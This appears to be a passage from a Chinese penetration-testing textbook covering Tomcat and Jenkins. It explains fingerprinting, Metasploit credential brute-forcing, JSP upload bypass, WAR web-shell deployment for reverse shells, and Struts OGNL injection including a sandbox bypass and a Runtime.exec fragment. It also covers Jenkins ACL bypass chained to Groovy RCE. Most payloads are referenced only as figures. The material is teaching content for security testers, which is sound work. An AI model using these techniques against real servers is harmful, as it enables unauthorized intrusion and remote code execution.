·在Tomcat上进行漏洞利用。 ·Apache struts简介。 ·ONGL简介。 ·OGNL表达式注入。 未知 12.1 技术条件要求 学习本章内容，需要满足以下技术条件： ·Apache Tomcat（http://tomcat.apache.org/）。 ·一种后端数据库，推荐MySQL（https://www.mysql.com/downloads/）。 ·Metasploit框架（https://github.com/rapid7/metasploitframework）。 未知 12.2 Tomcat简介 Apache Tomcat软件是一个开放源代码的Web服务器，旨在运行基于Java的Web应用程序。当前版本的Tomcat的一些功能如下： ·支持Java Servlet 3.1 ·JSP 2.3 ·Java Unified Expression Language (EL) 3.0 ·Java WebSocket 1.0 Tomcat既可以作为独立的有自己内部Web服务器的产品使用，也可以与其他Web服务器结合使用，包括Apache和微软的IIS。 因为Apache Tomcat被许多组织广泛使用，所以应该考虑这个平台的安全性。在撰写本书时，Shodan已经在全世界发现超过93 000个Tomcat实例（包含独立的和那些与JBoss实例集成的）。 Apache Tomcat服务器中的漏洞可能使攻击者能够利用服务器上正在运行的应用程序，甚至可以超越通用应用程序的利用范围，并最终获得对组织内部网络的访问权限。 未知 12.3 Apache Tomcat架构 Tomcat可以被描述为一系列不同的功能组件，通过良好定义的规则组合在一起。 图12-1展示了Tomcat的结构。 图 12-1 让我们试着理解图12-1中显示的每个组件扮演的角色： ·服务器： 表示整个Catalina servlet容器。server.xml文件表示Tomcat安装的所有特性和配置。 ·服务： 服务器内部的一个组件，包含共享单个容器以处理其传入请求的连接器。 ·引擎： 引擎接收和处理来自不同连接器的信息并返回输出。 ·主机： 这是服务器使用的网络或域名。一台服务器可以有多个主机。 ·情景： 表示一个Web应用程序。主机上可以有多个具有不同URL路径的Web应用程序。 ·连接器： 连接器处理客户端和服务器之间的通信。不同类型的连接器用于处理不同的通信，例如，HTTP连接器用于处理HTTP通信，而AJP连接器用于使用AJP协议与Apache进行通信。 现在我们对Apache Tomcat的架构已经有了基本理解，下面让我们来看一下Tomcat服务器上的文件和目录结构。"},
    {"text": "未知 12.4 文件和目录结构 Tomcat的文件和目录结构与JBoss相似，我们在第11章已经讨论过了。在本节中，我们将快速浏览Tomcat的目录结构，如图12-2所示。 图 12-2 Tomcat目录中的子目录可以解释如下： ·bin：这个目录包含初始化服务器时所需的所有脚本，例如启动和关闭脚本以及各种可执行文件。 ·common：这个目录包含Catalina和开发人员托管的其他Web应用程序可以使用的通用类。 ·conf：这个目录由服务器XML文件和相关的文档类型定义（DTD）组成，用以配置Tomcat。 ·logs：这个目录如名字所示，用于存储Catalina和应用程序生成的日志文件。 ·server：这个目录存储Catalina单独使用的类文件。 ·shared：这个目录存储能被所有Web应用程序分享使用的类文件。 ·webapps：这个目录包含所有Web应用程序。 ·work：这个目录用于文件和目录的临时存储。 最有趣的目录之一是webapps，如图12-3所示。 图 12-3 通过导航到webapps目录并列出里面的内容，我们可以看到以下内容： ·ROOT：这是Web应用程序的根目录，它包含所有JSP文件和HTML页面、客户端JAR文件等。 ·Docs：这个目录包含Apache Tomcat的文档。 ·examples：这个文件夹包含Servlet、JSP和WebSocket示例，以帮助开发人员进行开发。 ·host-manager：host-manager应用程序可以让我们在Tomcat里创建、删除和管理虚拟主机。这个目录包含了这些功能的代码。 ·manager：manager允许我们管理以Web应用程序归档（WAR）文件的形式安装在Apache Tomcat实例上的Web应用程序。 对文件和目录结构有清晰的理解，可以帮助我们在目标Tomcat服务器上为渗透测试执行高效的侦察。 未知 12.5 检测Tomcat的安装 现在，让我们看看如何检测服务器上是否安装了Tomcat，以及可以用于进一步侦察的常见检测技术。 未知 12.5.1 通过HTTP响应标头检测——X-Powered-By 检测Apache Tomcat安装情况的一种很常见的方法是查看服务器响应的HTTP标头中X-Powered-By的值，如图12-4所示。 图 12-4 典型安装将在HTTP响应标头中提供Apache Tomcat的版本。 未知 12.5.2 通过HTTP响应标头检测——WWW-Authenticate 检测Tomcat的一种简单方法是请求/manager/html页面。一旦我们发出请求，服务器将用一个带有WWW-Authenticate HTTP标头的HTTP代码401 Unauthorized进行响应，正如你在图12-5中看到的，这个特定的标头将带有一个Tomcat Manager Application字符串，通过使用这个标头的值，我们就能够检测目标服务器是否安装了Tomcat。 图 12-5 未知 12.5.3 通过HTML标签检测——页面标题标签 如果当你打开Tomcat实例时看到一个空白页，那么仍然可以通过查看HTML的<title>标签来检测它是否是Tomcat页面。 Apache Tomcat字符串显示在<title>标签中，如图12-6所示。 图 12-6 未知 12.5.4 通过HTTP 401未授权错误检测 Tomcat通常使用Tomcat Manager Web应用程序来管理和部署Web应用程序。它可以通过URL/manager/html来访问。这将生成一个HTTP身份验证面板，点击弹窗上的Cancel按钮将显示401错误，如图12-7所示，这样就可以确认Tomcat的存在了。 图 12-7 注意：这种信息披露只存在于Tomcat服务器配置错误的情况下。 未知 12.5.5 通过唯一指纹（哈希值）检测 我们在前几章中看到，大多数Web应用程序都可以使用它们的网站图标进行检测。可以通过比较不同版本的网站图标的MD5哈希值确定所使用的Tomcat版本，如图12-8所示。 图 12-8 图12-9展示了OWASP网站图标数据库列表中不同的哈希值。 我们也可以维护自己的网站图标数据库来检查Apache Tomcat的不同版本。 图 12-9 未知 12.5.6 通过目录和文件检测 安装之后，Apache Tomcat还会创建docs和examples目录来帮助开发人员开发和部署应用程序。默认情况下，文件夹的路径如下： ·/docs/ ·/examples/ 我们还可以使用SecLists（https://github.com/danielmiessler/SecLists）来枚举Tomcat中的敏感文件。 图12-10中显示了不同的文件和文件夹，这些文件和文件夹可用来标识安装了Tomcat的实例。在下一节中，我们将研究如何识别Tomcat的版本。 图 12-10 未知 12.6 版本检测 一旦我们确认了服务器正在运行Tomcat，下一步就是确定版本信息。在本节中，我们将介绍几种检测现有Tomcat安装版本的方法。 未知 12.6.1 通过HTTP 404错误页面检测 默认情况下，Tomcat的404错误页会公开正在运行的版本号，所以我们需要做的就是访问一个服务器上不存在的URL，服务器应该返回一个错误页面，如图12-11所示。 图 12-11 许多管理员并没有真正隐藏这种公开版本号的Web服务器标识。攻击者可以使用这些信息从他们的武器库中找到一个已知的或0-day漏洞，从而访问服务器。 未知 12.6.2 通过Release-Notes.txt泄露版本号 Tomcat还有一个Release-Notes.txt文件，其中包含作为该版本一部分的有关增强功能的详细信息，以及该版本的已知问题。这个文件也可以把Apache Tomcat服务器的版本号泄露给攻击者。发布说明的第一行中就包含版本信息，如图12-12所示。 未知 12.6.3 通过Changelog.html泄露版本信息 和Release-Notes.txt一起的还有一个名为Changelog.html的文件，这个文件将导致在页面上公开版本号，如图12-13所示。 现在我们可以继续进行下一步，对Tomcat进行漏洞利用。 图 12-12 图 12-13"},
    {"text": "未知 12.7 对Tomcat进行漏洞利用 在本节中，我们将学习如何对易受攻击的Tomcat版本进行漏洞利用。我们将介绍各种技术，包括上传WAR shell和JSP上传绕过。 使用Metasploit上的search命令来查找Tomcat，会查到一些可用的模块，如图12-14所示。 我们将使用最基本的模块，该模块将对Tomcat Manager进行暴力破解并为我们提供凭证。 1）我们可以使用以下命令来加载模块： 2）在使用模块之前，最好先了解一下模块的工作原理。请记住，一旦部署了Web应用防火墙（WAF），渗透测试人员就需要随时调整模块。模块加载之后，我们可以使用show options命令查看需要由测试人员填写的选项（见图12-15）。 图 12-14 图 12-15 3）通过查看这些选项，我们可以看到它要求输入Tomcat的IP（RHOSTS）和端口（RPORT），以及用于暴力破解凭证的词表。我们使用run命令来执行模块，如图12-16所示。 图 12-16 4）我们将收到一条Login Successful的消息，其中包含正确的登录名/密码组合，如图12-17所示。 图 12-17 利用默认密码漏洞访问服务器是针对Apache Tomcat进行漏洞利用的最常见的方法之一。如果通过使用默认密码即可获得访问权限，那么攻击者甚至不必花费大量精力来查找不同的易受攻击的端点。 未知 12.7.1 Apache Tomcat JSP上传绕过漏洞 有一个JSP上传绕过漏洞影响了Tomcat 7.x、8.x和9.x以及TomEE 1.x和7.x版本。该漏洞涉及使用PUT方法通过绕过文件名过滤器来上传JSP文件。有一个Metasploit模块也可以用于这个漏洞利用。我们通过执行下面的命令来使用这个模块： 图12-18展示了上一个命令的输出结果。 图 12-18 设置RHOSTS的值并使用run命令执行该模块，如图12-19所示。 图 12-19 如图12-20所示，这个Metasploit模块首先使用HTTP PUT方法，并通过在.jsp扩展名的后面加上/（正斜杠）来上传一个JSP文件。如果Apache Tomcat实例使用HTTP 201代码（已创建）进行响应，则表示这个文件已经被成功上传到了服务器。 图 12-20 上传文件成功的原因是Tomcat服务器（仅限特定版本）上存在文件上传限制漏洞，如果文件扩展名为JSP，则会被过滤掉。使用“/”，攻击者将可以绕过这个限制来上传恶意的基于JSP的Web shell。在这种情况下，使用PUT方法可将载荷文件发送到目标服务器，如图12-21所示。 如前面所述，一旦上传成功，服务器会返回HTTP 201代码，如图12-22所示。 一旦载荷文件上传成功，Metasploit模块将请求相同的文件名来执行该载荷文件，如图12-23所示。 当载荷文件成功被执行后，我们会获得一个通用的shell，如图12-24所示。 图 12-21 图 12-22 图 12-23 图 12-24 我们没有必要在利用JSP上传绕过漏洞后总是想获得root（特权）shell。在更多情况下，我们将不得不从普通用户权限升级到root用户权限。"},
    {"text": "未知 12.7.2 Tomcat WAR shell上传（经过认证） 假设我们有Apache Tomcat实例的认证凭证（可能通过监听/嗅探或从包含敏感信息的文件中获得）。用户可以通过将打包的WAR文件上传到Apache Tomcat实例来运行Web应用程序。在本节中，我们将上传一个WAR文件以获得绑定/反向shell连接。请注意，进行WAR shell上传需要身份验证，否则服务器将以HTTP 401代码（未授权的）进行响应： 1）首先，让我们请求/manager/html页面。服务器将要求进行HTTP身份验证，如图12-25所示。 图 12-25 2）认证通过之后，页面会重定向到/manager/status，如图12-26所示。 图 12-26 3）点击List Applications将把这个Apache Tomcat实例管理的所有已安装的程序列出来，如图12-27所示。 图 12-27 4）在同一页中向下滚动页面，我们会找到一个Deploy部分，可以通过URL部署服务器上的WAR，也可以通过上传自己的WAR文件来部署它，如图12-28所示。 图 12-28 5）我们可以在页面上的WAR file to deploy部分把一个WAR文件（redteam.war）上传到服务器。单击Deploy按钮将部署WAR文件。当WAR成功部署后，我们的应用程序就被安装到Apache Tomcat服务器上了，可以通过List Applications选项来查看（如前面所提到的），如图12-29所示。 从图12-29可以看出，我们的WAR文件已经部署完成。现在我们只需要正常从浏览器访问JSP shell，并且把要执行的命令作为参数的值传递即可，如图12-30所示。 图 12-29 图 12-30 同样的过程也可以使用Metasploit实现。在Metasploit里使用tomcat_mgr_upload模块，我们也可以上传一个WAR shell。让我们在msfconsole里通过执行以下命令来使用这个模块： 图12-31展示了上面命令的输出结果。 图 12-31 由于这是一种身份验证机制，因此我们需要为HTTP身份验证提供凭证。让我们执行这个模块，以便Metasploit可以上传WAR文件并在服务器上执行载荷，如图12-32所示。 图 12-32 正如你在图12-32中看到的，该模块已成功地通过服务器的身份验证，并上传了一个WAR文件（ymRRnwH.war）。一旦上传成功，该模块会调用WAR文件中打包的JSP载荷并执行它以获得一个反向meterpreter连接，如图12-33所示。 图 12-33 下面是meterpreter在执行tomcat_mgr_upload模块时会检查的内容： 1）Metasploit模块检查凭证是否有效。 2）如果有效，该模块就会从服务器的响应中（CSRF令牌）获取org.apache.catalina.filters.CSRF_NONCE的值。 3）然后该模块会尝试通过HTTP POST方法上传一个WAR文件（无认证）。 4）如果前一步失败，该模块会使用之前获取到的凭证来上传WAR文件（POST/manager/html/upload）。 5）上传成功后，该模块会从服务器请求此JSP meterpreter文件，从而获得一个打开的meterpreter连接（在本例中是一个反向连接）。 注意：我们成功上传并执行了meterpreter shell以获得反向连接。有些情况下，反向连接是不可能实现的。在这些情况下，我们可以寻找绑定连接，或者可以通过HTTP隧道化meterpreter会话。 现在我们知道了如何将WAR shell上传到Apache Tomcat实例中，以及如何利用其中的一些漏洞，让我们继续研究如何在Apache Tomcat实例上执行下一级别的利用。 未知 12.8 Apache Struts简介 Apache Struts是一个免费的开源框架，它遵循MVC架构，用于开发基于Java的Web应用程序。它使用Java Servlet API，最开始由Craig McClanahan创建，然后在2000年5月捐赠给了Apache基金会。Apache Struts首次被完整地发布是在2007年。 在本节中，我们将研究在Apache Struts中发现的一些漏洞。 未知 12.8.1 理解OGNL 对象图表示语言（Object Graph Notation Language，OGNL）是一种EL（表达式语言），它简化了存储在ActionContext中的数据的可访问性。ActionContext是一个可能需要执行的对象的容器。OGNL在Apache Struts 2中有着非常紧密的链接，它被用来将表单参数作为Java Bean变量存储在ValueStack中。ValueStack是一种用于处理客户端请求的数据存储区域。 未知 12.8.2 OGNL表达式注入 当未处理的用户输入被传递给ValueStack进行求值时，会发生OGNL表达式注入。在本节中，我们将尝试理解表达式注入查询，并研究一个漏洞利用示例。 图12-34展示了一个使用Struts 2的易受攻击的Web应用程序的示例，该应用程序易受CVE-2018-11776攻击。 图 12-34 我们尝试通过以下步骤手动利用Struts漏洞（CVE-2018-11776）： 1）当点击菜单栏中的Configuration|Action Chaining时，会发现一些请求被发送到服务器，如图12-35所示。 图 12-35 2）服务器返回响应内容，如图12-36所示。 图 12-36 3）现在我们可以把actionchaining字符串替换成其他内容，例如Testing123，如图12-37所示。 图 12-37 4）当我们这样做之后，服务器处理了Testing123字符串并以同样的字符串进行响应，如图12-38所示。 图 12-38 5）为了测试像OGNL这样的表达式语言注入，我们需要使用${..}或%{..}语法。OGNL会处理包含在${..}或%{..}里的内容。为了做一个简单的测试，我们使用${123*123}或%{123*123}字符串，如图12-39所示。 图 12-39 6）由于代码位于括号内，前面有$或%，服务器将其作为一个OGNL表达式处理，并使用如图12-40所示的结果进行响应。 图 12-40 现在我们已经成功确认了前面测试用例中的漏洞，下面来了解一下如何在进程上执行OGNL注入的同时注入载荷并绕过沙盒（如果有的话）。"},
    {"text": "未知 12.8.3 通过OGNL注入测试远程代码执行 为了测试漏洞，我们将使用下面的载荷： 在拆解这个载荷之前，让我们先理解关于OGNL的一些内容，这可以帮我们更好地理解这个载荷。表12-1中给出了一些关于运算符的介绍。 表 12-1 现在让我们参考表12-1来拆解前面提到的载荷。 在早期版本的Struts里，_memberAccess对象用于控制OGNL可以做什么，但在最近的一些版本里，_memberAccess对象甚至在调用构造器方面受到限制。这是excludedClass、excludedPackageNames和excludedPackageNamePatterns黑名单造成的，它们禁止访问特定的类和包。尽管_memberAccess对象是可以访问的，针对这个对象还是有严格的限制。 为了绕过这样的限制，在Struts 2.3.20～2.3.29版本中，我们只需要用Default-MemberAccess对象（可通过SecurityMemberAccess类访问的静态对象）替换_memberAccess对象，这将使我们能够不受限制地控制OGNL的工作。 因此，这个载荷的第一行代码是用于通过将上下文从_memberAccess更改为Default-MemberAccess来绕过对_memberAccess对象的限制： 在前面的代码中，OgnlContext是一个类，它根据Apache Common OGNL表达式引用（https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/OgnlContext.html）定义OGNL表达式的执行上下文。 现在，上下文已从_memberAccess更改为DefaultMemberAccess，我们可以使用setMemberAccess方法设置MemberAccess。然而，为了访问这个对象，我们首先需要清除黑名单（excludedClasses、excludedPackageNames、excludedPackage-NamePatterns）。我们可以通过还原到原来的上下文来清除黑名单，参见载荷的高亮显示部分： 由于还没有上下文，则需要通过访问ActionContext.container来检索上下文映射。现在因为我们已经从struts.valueStack里获取到上下文，那便有可能访问这个容器了。参考下面载荷中的高亮部分： 现在我们可以访问上下文映射了（请参阅载荷的第一行高亮显示）。可以把黑名单清除，以便可以访问DefaultMemberAccess对象，使用它将没有任何限制。载荷里的第二行高亮代码将实现这一点： 一旦clear()方法被执行，我们就把黑名单清除掉了，现在可以使用setMember-Access()方法把MemberAccess设置为DEFAULT_MEMBER_ACCESS。参考下面载荷中的高亮部分： 现在可以访问DEFAULT_MEMBER_ACCESS对象了。我们可以从Java通用工具库里调用需要的类、方法和对象并在OGNL里运行。这本例中，我们将使用Runtime(). exec()方法来执行命令(#a=@java.lang.Runtime@getRuntime().exec('id'))。然后我们会使用getinputStream()方法在响应中打印出命令执行的输出结果，如我们的载荷中最后两行代码所示： 现在我们已经对该载荷有了比较好的了解，可以在HTTP请求中使用这个载荷，如图12-41所示。 图 12-41 服务器将处理这个OGNL表达式，并且在访问到DEFAULT_MEMBER_ACCESS对象后，Runtime().exec()方法将被调用，它将会执行我们的命令，如图12-42所示。 图 12-42 id命令的输出结果将被打印在Location的HTTP响应标头中，如图12-42所示。现在我们已经理解了OGNL表达式和手动进行漏洞利用的方法，下面让我们试着使用Metasploit来进行漏洞利用。 未知 12.8.4 通过OGNL注入进行不可视的远程代码执行 这是一个不同的场景，服务器易受Apache Struts 2远程代码执行（Remote Code Execution，RCE）漏洞的攻击，但代码执行的响应由于某种原因被隐藏了。在这样的场景中，我们仍然可以使用sleep()函数来确认RCE漏洞。与基于时间的SQL注入中使用的sleep()函数类似，我们可以使用此函数来检查响应时间。如图12-43所示，我们已经执行了2000ms的sleep()函数。 图 12-43 要确认该漏洞，我们只需查看服务器的响应时间，即服务器处理请求并向我们发送响应所用的时间。在这个场景中，我们让sleep()函数执行了2000ms，然后服务器在2010 ms后返回响应，如图12-44所示。 图 12-44 我们应该始终通过将时间更改为不同的值来检查是否存在漏洞。 未知 12.8.5 OGNL带外注入测试 另一种确认漏洞的方法是执行命令，这些命令将与位于组织外部的我们自己的服务器进行交互。为了检测OGNL带外注入（Out-Of-Band，OOB），我们可以执行一个简单的ping命令，如图12-45所示。 图 12-45 在将载荷发送到服务器之前，我们需要使用tcpdump来监听服务器端的公共接口。可以执行tcpdump icmp host <ip>命令来过滤服务器上的ICMP echo请求和echo应答包。这样做的目的是在执行载荷时，可以在服务器上获得ping echo请求，如图12-46所示。 图 12-46 对于OOB交互，我们可以尝试不同的协议，例如HTTP、FTP、SSH和DNS。当我们无法获得响应的输出（盲注）并检查是否有可能获得反向shell连接，OOB注入会有所帮助。"},
    {"text": "未知 12.8.6 使用Metasploit对Struts 2进行漏洞利用 现在我们已经手动利用了Struts 2的漏洞并清楚地理解了这些概念，我们将看到使用Metasploit利用相同的漏洞是多么容易。使用Metasploit进行漏洞利用会更加轻松。可以通过执行下面的步骤来搜索所有与Struts相关的可用模块。 1）在Metasploit控制台搜索struts，如图12-47所示。 图 12-47 2）图12-48所示是一个运行Apache Struts的Web应用程序演示。此应用程序易受S2-013漏洞的攻击（CVE-2013-1966）。让我们看看如何使用Metasploit利用此漏洞。 图 12-48 3）通过在msfconsole里输入下面的命令，可以加载Metasploit利用模块： 4）通过输入show options命令，我们可以看到一些可用的选项，如图12-49所示。 设置好这些选项并运行漏洞利用程序将为我们提供命令行shell。在没有反向shell连接的情况下，我们需要执行一个简单的出口测试，以检查是否所有的端口都可以从目标服务器（出站连接）访问。如果出站连接被防火墙拦截，我们可以尝试通过HTTP隧道获得绑定连接。 图 12-49 未知 12.9 小结 在本章中，我们介绍了Tomcat的基础知识，并了解了它的系统架构和文件结构。然后，我们介绍了识别Tomcat和检测版本的不同技术。之后，我们研究了如何使用JSP和WAR Shell上传对Tomcat进行漏洞利用。在本章的最后，我们讨论了Apache Struts、OGNL和Tomcat的漏洞利用。 在下一章中，我们将学习如何对另一个著名的技术平台Jenkins进行渗透测试。 未知 12.10 问题 1.在黑盒渗透测试的情况下，我们如何公开识别Tomcat服务器？ 2.Changelog.html文件会一直出现在Apache Tomcat服务器上吗？ 3.我已经成功把JSP shell上传到Apache Tomcat服务器上，然而我却不能访问它，问题可能出在哪里？ 4.我发现了一个OGNL带外注入漏洞，如何进一步利用它？ 未知 12.11 拓展阅读 以下链接可作为进一步了解Apache Tomcat和CVE 2019-0232的参考： ·https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-inapache-tomcat/ ·https://github.com/apache/tomcat 未知 第13章 技术平台渗透测试——Jenkins 我们在前面章节中学习了如何对JBoss及Apache Tomcat进行漏洞利用，本章将熟悉一下Jenkins。Jenkins是一款流行的工具，用于自动化软件开发过程中的非人为部分。在企业对消费者（B2C）关系中，企业向消费者提供诸如电子支付、电子商务、在线移动和餐饮充值计划等服务模式中，开发人员的负担非常大。由于预发布环境和生产服务器上存在频繁更新，因此对于开发人员来说，环境变得越来越复杂。为了更有效地更新软件并能够按时发布，企业需要选择使用一个平台引擎来尝试和帮助进行更新发布和管理。 Jenkins就是这样的平台引擎。它处理部署并管理需要在一天中不同时间在不同服务器上部署的源代码。由于Jenkins在管理公司源代码时会处理敏感信息，因此对于那些专注于信息行业间谍活动的人来说，这是一个热门目标。一旦恶意行为者能够获取Jenkins平台的访问权限，他们就可以访问该组织提供服务的源代码（蓝图）。 作为渗透测试人员，我们必须确保客户的组织中有像Jenkins这样的实例是经过加固的。本章将涵盖以下内容： ·Jenkins介绍。 ·Jenkins术语。 ·Jenkins侦察和枚举。 ·Jenkins漏洞利用。 未知 13.1 技术条件要求 学习本章内容需要满足以下技术条件： ·Jenkins实例下载：https://jenkins.io/download/。 ·Metasploit框架。 未知 13.2 Jenkins简介 Jenkins是一种使用Java开发的开源工具，可以帮助人们在使用多种插件时进行持续集成。例如，如果我们想集成Git，就需要安装Git插件。Jenkins支持数百种插件，使其在实践中几乎兼容每种工具。这个特性可以保证持续集成（CI）和持续交付（CD）。 以下是Jenkins的主要特性： ·提供CI和CD。 ·基于插件的架构。 ·高扩展性。 ·分布式。 ·配置简单。 未知 13.3 Jenkins术语 在我们深入了解如何枚举和利用Jenkins的漏洞之前，需要理解一些本章后面可能会出现的基础术语。 未知 13.3.1 Stapler库 Stapler是Jenkins使用的一个库，它允许把对象自动映射到URL上。它可以解决把Expression Language（EL）这种复杂的应用程序映射到关联URL的难题（http://www-106.ibm.com/developerworks/java/library/j-jstl0211.html）。它接收一个对象和一个URL作为传入参数并对它们进行处理。它会重复这个过程，直到找到一个静态资源、一个视图（如JSP、Jelly、Groovy等）或一个动作方法。图13-1展示了这个过程的更多细节。 图 13-1 资料来源：http://stapler.kohsuke.org/what-is.html 如图13-1所示，根对象被映射到URL，而其他对象被映射为单独的路径，直到找到资源为止。 未知 13.3.2 URL路由 Jenkins使用URL路由来处理URL路径，我们来具体看一下： ·Models getLog()会被转化成/log/。 getJob(\"foo\")会被转化成/job/foo。 ·Action方法 在getJob(\"foo\")里的action doArtifact(...)会变成/job/foo/1/artifact,1就是动态的getter。 未知 13.3.3 Apache Groovy Apache Groovy是一种支持静态类型和静态编译的多功能编程语言。用户在这里要记住的关键点是Groovy支持运行时和编译时元编程。"},
    {"text": "未知 13.3.4 元编程 元编程是一种允许计算机程序接收其他程序作为输入数据的一种技术。因此，一个程序可以设计为读/写/修改其他程序，甚至其本身。如果一个程序简单的记述自己，这称为自省（introspection），当它可以修改自己时，则称为反射（reflection）。很多语言都支持元编程，例如PHP、Python、Apache Groovy。 让我们用一个例子来进一步理解元编程： 如你所见，上面的程序创建了另一个程序——program1，它打印数字1～500。 未知 13.3.5 抽象语法树 抽象语法树（Abstract Syntax Tree，AST）表示程序的结构和与内容相关的详细信息。它不包括非必要的标点和分隔符。编译器使用AST进行语法分析、类型解析、流分析和代码生成。 未知 13.3.6 Pipeline Jenkins Pipeline是可协同工作并帮助持续交付的插件组合。可以使用JenkinsFile将Pipeline实现为代码，并且可以使用域特定语言（DSL）定义Pipeline。Jenkins中的Pipeline是使用Groovy构建的。 未知 13.4 Jenkins侦察和枚举 Jenkins枚举是渗透测试的一个非常重要的方面。 执行侦察和枚举的过程中获取的活动信息可以帮助渗透测试人员更好地利用Jenkins实例的漏洞。 有不少方法可以确定Jenkins的安装和版本检测过程。现在我们来学习这些方法，包括如何对Jenkins进行漏洞利用。 未知 13.4.1 使用收藏夹图标哈希值检测Jenkins Jenkins有一个非常独特的收藏夹图标（favicon），当转换为哈希值形式时，它将变成81 586 312。它甚至可以在Shodan上用于识别运行Jenkins的系统。 图13-2展示了如何使用哈希值来识别Jenkins。 图 13-2 我们还可以利用不同的Jenkins HTTP响应标头来查找Jenkins实例。例如，可以使用如图13-3所示的X-Jenkins标头来查找特定版本的Jenkins。 图 13-3 让我们看看可以用来标识Jenkins实例的其他HTTP响应标头。 未知 13.4.2 使用HTTP响应标头检测Jenkins 识别Jenkins实例最普遍的方法之一就是分析它的HTTP响应标头。Jenkins把非常多的信息都放在它的响应标头中，例如版本的公开信息、命令行界面（CLI）的端口、用户和组权限等，所有这些信息都可以用于将来的漏洞利用。从图13-4可以看到一个Jenkins实例返回的多个响应标头。 图 13-4 以下是可用于检测Jenkins实例的一些HTTP服务器响应标头： ·X-Hudson ·X-Jenkins ·X-Jenkins-Session ·X-You-Are-Authenticated-As ·X-You-Are-In-Group-Disabled ·X-Required-Permission ·X-Permission-Implied-By ·X-Hudson-CLI-Port ·X-Jenkins-CLI-Port ·X-Jenkins-CLI2-Port ·X-SSH-Endpoint ·X-Hudson-JNLP-Port ·X-Jenkins-JNLP-Port ·X-Jenkins-JNLP-Host ·X-Instance-Identity ·X-Jenkins-Agent-Protocols 现在我们已经学习了一些常用的手动检测Jenkins的方法，让我们进入渗透测试的下一个阶段——枚举。 未知 13.4.3 使用Metasploit进行Jenkins枚举 我们已经学习了手动枚举Jenkins的方法，让我们继续看看如何使用Metasploit框架附带的jenkins_enum进行枚举。 Metasploit也有一个辅助模块使用类似的方法来执行侦察。它包括查找响应标头的值，即X-Jenkins，还有关键词的HTML源码。我们可以使用下面的命令来加载这个辅助模块： 图13-5展示了上面命令的输出结果。 设置好图13-5里展示的选项参数后，执行这个辅助模块即可以侦察到版本号并且执行一些基础检查，如图13-6所示。 现在我们可以更深入一些并查看这个辅助模块的源代码，这样可以理解这个模块到底做了什么。通过观察图13-7，我们可以看到这个模块检查了以下几项内容： ·/view/All/newJobs：显示所有工作的列表。 ·/asynchPeople：显示所有用户的列表。 ·/systemInfo：打印系统信息。 图 13-5 图 13-6 图 13-7 下面的命令展示了Metasploit里另一个可以用来暴力破解Jenkins账户的辅助模块： 图13-8展示了上面命令的输出结果。 图 13-8 在设置了必需的参数并运行这个模块之后，我们将看到这个辅助工具返回了合法的账户信息。从图13-9可以看到结果。 图 13-9 接下来我们继续探索Jenkins。 未知 13.5 对Jenkins进行漏洞利用 枚举完成后，假设已经找到了一个容易被攻击的Jenkins，我们就进入了漏洞利用阶段。我们将在这一小节学习多种曾被@orangetsai发现的漏洞利用方法，以及如何把它们串联起来以在Jenkins服务器上执行一些系统命令。 首先，我们看一下在2019年由@orangetsai（https://blog.orange.tw/）发现的2个知名的漏洞利用，它们成功对Jenkins进行了漏洞利用并返回了一个shell。这些漏洞利用后来被添加到Metasploit作为未认证授权的RCE。"},
    {"text": "未知 13.5.1 访问控制列表绕过 在Jenkins的脚本控制台漏洞被广泛利用之后，很多人开始在全局安全配置中将Jenkins的匿名读访问设置为禁用（disabled），如图13-10所示。 图 13-10 使用此设置，除了图13-11中显示的特定白名单项（这些项目在以下URL中提供）之外，匿名用户将无法再看到任何内容。 图 13-11 我们已经知道Jenkins是基于Java的，并且在Java中，所有内容都是java.lang.Object的子类。通过这种方式，所有对象都具有getClass()，并且getClass()的名称与命名约定规则匹配。因此，绕过此白名单的一种方法是将白名单上的对象用作入口并跳转到其他对象。 Orange发现调用对象（在此处列出）会导致ACL绕过，并且可以成功访问搜索（search）方法： 上述对象中显示的路由机制映射为以下URL格式： 从提供的URL中，我们可以看到，除非登录，否则不允许执行任何操作，如图13-12所示。 图 13-12 现在，让我们看看使用访问控制列表（ACL）绕过时会发生什么，如图13-13所示。 图 13-13 我们成功绕过了ACL并执行了一次搜索。 未知 13.5.2 理解Jenkins的未认证远程代码执行 把绕过权限认证的漏洞和绕过沙箱（sandbox）串联起来就会让我们获得远程代码执行（RCE）的能力。Metasploit已经有了一个可以利用这些漏洞并执行Shell代码的模块。在学习漏洞利用的工作原理之前，让我们先看看它是如何工作的： 1）我们可以在msfconsole里使用下面的命令来加载漏洞利用模块： 2）图13-14展示了上面命令的输出结果。 图 13-14 3）设置必需的参数并执行漏洞利用，如图13-15所示。 图 13-15 4）现在我们有了反向Shell，让我们阅读该漏洞利用程序的源代码并尝试了解其工作原理。通过查看源代码，我们可以看到漏洞利用中使用的各种CVE，以及作者的详细信息，如图13-16所示。 图 13-16 5）查看该模块的源代码，可以看到该模块使用带有q=a参数的GET HTTP方法进行请求/搜索/索引，如图13-17所示。 如我们看到的，这个漏洞利用通过检查下面几项来确认应用程序是否在运行Jenkins： ·绕过ACL来调用search方法。 ·响应标头中的X-Jenkins值。 ·调用搜索URL后，关键字administrator的HTML页面正文。 图 13-17 在这里，我们可以看到与Groovy的doCheckScriptCompile方法有关的内容。doCheckScriptCompile是一种允许开发人员检查语法错误的方法。为了解析语法，使用了AST解析器（有关更多详细信息，请参阅13.3节），如图13-18所示。 图 13-18 为了获得成功的RCE，我们需要发送通过doCheckScriptCompile()发送时执行的代码。这就是元编程的用武之地。 当我们看一下Groovy参考手册时，会发现@groovy.transform.ASTTest，其描述如图13-19所示。 图 13-19 这意味着下面的代码在通过@ASTTest传递时将被执行： 到目前为止，漏洞利用可以这样写： 这个URL调用Jenkins的workflow-cps插件，它有一个checkScriptCompile方法。托管代码的URL为https://github.com/jenkinsci/workflow-cps-plugin/blob/2.46.x/src/main/java/org/jenkinsci/plugins/workflow/cps/CpsFlowDefinition.java，内容如图13-20所示。 图 13-20 然而，这个版本的漏洞利用只有在Jenkins中不存在Groovy Pipeline共享库插件（Pipeline Shared Groovy Libraries Plugin）的情况下才能正常工作。这就是原因，如果我们进一步查看漏洞利用代码，我们将看到在注释中提到的最终载荷中使用了与@Grab相关的内容，如图13-21所示。 图 13-21 现在我们需要了解一下什么是@Grab。根据Groovy的官方文档，Grape是一个JAR依赖关系管理器，它允许开发人员管理和添加Maven仓库对其类路径的依赖关系，如图13-22所示。 图 13-22 